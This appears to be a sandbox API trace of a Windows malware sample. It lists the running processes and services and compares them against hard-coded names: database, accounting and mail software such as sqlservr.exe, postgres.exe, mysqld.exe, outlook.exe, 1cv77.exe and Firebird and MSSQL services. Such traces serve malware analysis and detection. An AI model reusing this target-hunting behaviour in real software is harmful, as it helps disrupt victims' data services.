	[0252.855] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0252.855] lstrlenW (lpString="services.exe") returned 12
	[0252.855] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0252.855] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0252.855] lstrlenW (lpString="lsass.exe") returned 9
	[0252.855] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0252.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0252.856] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0252.856] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0252.856] lstrlenW (lpString="lsm.exe") returned 7
	[0252.856] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0252.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0252.856] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0252.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0252.856] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.856] lstrlenW (lpString="svchost.exe") returned 11
	[0252.856] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.857] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.857] lstrlenW (lpString="svchost.exe") returned 11
	[0252.857] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.857] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.857] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.858] lstrlenW (lpString="svchost.exe") returned 11
	[0252.858] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.858] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.858] lstrlenW (lpString="svchost.exe") returned 11
	[0252.858] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.858] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.858] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.859] lstrlenW (lpString="svchost.exe") returned 11
	[0252.859] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.859] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0252.859] lstrlenW (lpString="audiodg.exe") returned 11
	[0252.859] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0252.859] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0252.859] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0252.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0252.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0252.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0252.859] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.860] lstrlenW (lpString="svchost.exe") returned 11
	[0252.860] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.860] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0252.860] lstrlenW (lpString="userinit.exe") returned 12
	[0252.860] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0252.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0252.860] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0252.861] lstrlenW (lpString="explorer.exe") returned 12
	[0252.861] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0252.861] lstrlenW (lpString="dwm.exe") returned 7
	[0252.861] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.861] lstrlenW (lpString="svchost.exe") returned 11
	[0252.861] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0252.862] lstrlenW (lpString="swpesp.exe") returned 10
	[0252.862] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0252.862] lstrlenW (lpString="spoolsv.exe") returned 11
	[0252.862] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0252.863] lstrlenW (lpString="dllhost.exe") returned 11
	[0252.863] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0252.863] lstrlenW (lpString="taskhost.exe") returned 12
	[0252.863] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.863] lstrlenW (lpString="svchost.exe") returned 11
	[0252.863] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0252.863] lstrlenW (lpString="reader_sl.exe") returned 13
	[0252.863] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0252.864] CloseHandle (hObject=0x2a4) returned 1
	[0252.864] Sleep (dwMilliseconds=0x1f4) 
	[0253.529] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42809c8
	[0253.806] EnumServicesStatusExW (in: hSCManager=0x42809c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0253.880] GetLastError () returned 0xea
	[0253.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa64) returned 0x41f5d68
	[0253.880] EnumServicesStatusExW (in: hSCManager=0x42809c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xa64, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0253.880] CloseServiceHandle (hSCObject=0x42809c8) returned 1
	[0253.880] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0253.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0253.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0253.880] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0253.881] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0253.881] lstrlenW (lpString="AudioSrv") returned 8
	[0253.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0253.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0253.881] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0253.881] lstrlenW (lpString="BFE") returned 3
	[0253.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0253.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0253.881] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0253.881] lstrlenW (lpString="CscService") returned 10
	[0253.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0253.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0253.881] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0253.881] lstrlenW (lpString="DcomLaunch") returned 10
	[0253.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0253.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0253.881] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0253.881] lstrlenW (lpString="Dhcp") returned 4
	[0253.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0253.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0253.881] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0253.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0253.882] lstrlenW (lpString="Dnscache") returned 8
	[0253.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0253.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0253.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0253.882] lstrlenW (lpString="eventlog") returned 8
	[0253.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0253.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0253.882] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0253.882] lstrlenW (lpString="EventSystem") returned 11
	[0253.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0253.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0253.882] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0253.882] lstrlenW (lpString="gpsvc") returned 5
	[0253.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0253.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0253.882] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0253.882] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0253.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0253.882] lstrlenW (lpString="lmhosts") returned 7
	[0253.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0253.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0253.883] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0253.883] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0253.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0253.883] lstrlenW (lpString="MMCSS") returned 5
	[0253.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0253.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0253.883] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0253.883] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0253.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0253.883] lstrlenW (lpString="MpsSvc") returned 6
	[0253.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0253.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0253.883] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0253.883] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0253.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0253.883] lstrlenW (lpString="nsi") returned 3
	[0253.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0253.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0253.883] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0253.883] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0253.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0253.883] lstrlenW (lpString="PlugPlay") returned 8
	[0253.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0253.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0253.883] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0253.884] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0253.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0253.884] lstrlenW (lpString="Power") returned 5
	[0253.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0253.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0253.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0253.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0253.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0253.884] lstrlenW (lpString="ProfSvc") returned 7
	[0253.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0253.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0253.884] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0253.884] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0253.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0253.884] lstrlenW (lpString="RpcEptMapper") returned 12
	[0253.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0253.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0253.885] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0253.885] lstrlenW (lpString="RpcSs") returned 5
	[0253.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0253.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0253.885] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0253.885] lstrlenW (lpString="SamSs") returned 5
	[0253.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0253.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0253.885] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0253.885] lstrlenW (lpString="Schedule") returned 8
	[0253.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0253.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0253.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0253.885] lstrlenW (lpString="SENS") returned 4
	[0253.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0253.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0253.885] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0253.885] lstrlenW (lpString="ShellHWDetection") returned 16
	[0253.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0253.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0253.885] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0253.886] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0253.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0253.886] lstrlenW (lpString="Spooler") returned 7
	[0253.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0253.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
